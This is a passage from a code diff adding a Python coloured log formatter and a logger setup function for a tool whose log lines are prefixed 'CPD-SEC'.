+ grey = "\x1b[38;20m"
10
+ cyan = "\x1b[36;20m"
11
+ green = "\x1b[32;20m"
12
+ yellow = "\x1b[33;20m"
13
+ red = "\x1b[31;20m"
14
+ bold_red = "\x1b[31;1m"
15
+ reset = "\x1b[0m"
16
+ reset = "\x1b[0m"
17
+ # Format: Time - Logger - [COLOR]LEVEL[RESET] - Message
18
+ # We construct the levelname part dynamically
19
+
20
+ FORMATS = {
21
+ logging.DEBUG: cyan,
22
+ logging.INFO: green,
23
+ logging.WARNING: yellow,
24
+ logging.ERROR: red,
25
+ logging.CRITICAL: bold_red
26
+ }
27
+
28
+ def format(self, record):
29
+ color = self.FORMATS.get(record.levelno, self.reset)
30
+ # Apply color only to the levelname
31
+ # We temporarily modify the levelname in the record (copying would be safer but this is standard)
32
+ original_levelname = record.levelname
33
+ record.levelname = f"{color}{original_levelname}{self.reset}"
34
+
35
+ # Format: CPD-SEC - [LEVEL] - Message
36
+ formatter = logging.Formatter(f"CPD-SEC - [%(levelname)s] - %(message)s")
37
+ result = formatter.format(record)
38
+
39
+ # Restore original levelname to avoid side effects
40
+ record.levelname = original_levelname
41
+ return result
42
+
43
+ def setup_logger(verbose: bool = False, quiet: bool = False, log_level: Optional[str] = None):
44
+ """
45
+ Configure the logger based on verbosity flags or explicit log level.
46
+ """
47
+ logger = logging.getLogger("cpd")
48
+
49
+ # Remove existing handlers to avoid duplicates if setup is called multiple times
50
+ if logger.handlers:
51
+ logger.handlers = []
52
+
53
+ handler = logging.StreamHandler(sys.stdout)
54
+ handler.setFormatter(ColoredFormatter())
55
+ logger.addHandler(handler)
56
+
57
+ if log_level:
58
+ level = getattr(logging, log_level.upper(), None)
59
+ if isinstance(level, int):
60
+ logger.setLevel(level)
61
+ else:
62
+ logger.setLevel(logging.INFO)
63
+ logger.warning(f"Invalid log level '{log_level}', defaulting to INFO")
64
+ elif quiet:
65
+ logger.setLevel(logging.WARNING)
66
+ elif verbose:
67
+ logger.setLevel(logging.DEBUG)
68
+ else:
69
+ logger.setLevel(logging.INFO)
70
+
71
+ return logger
72
+
73
+ logger = logging.getLogger("cpd")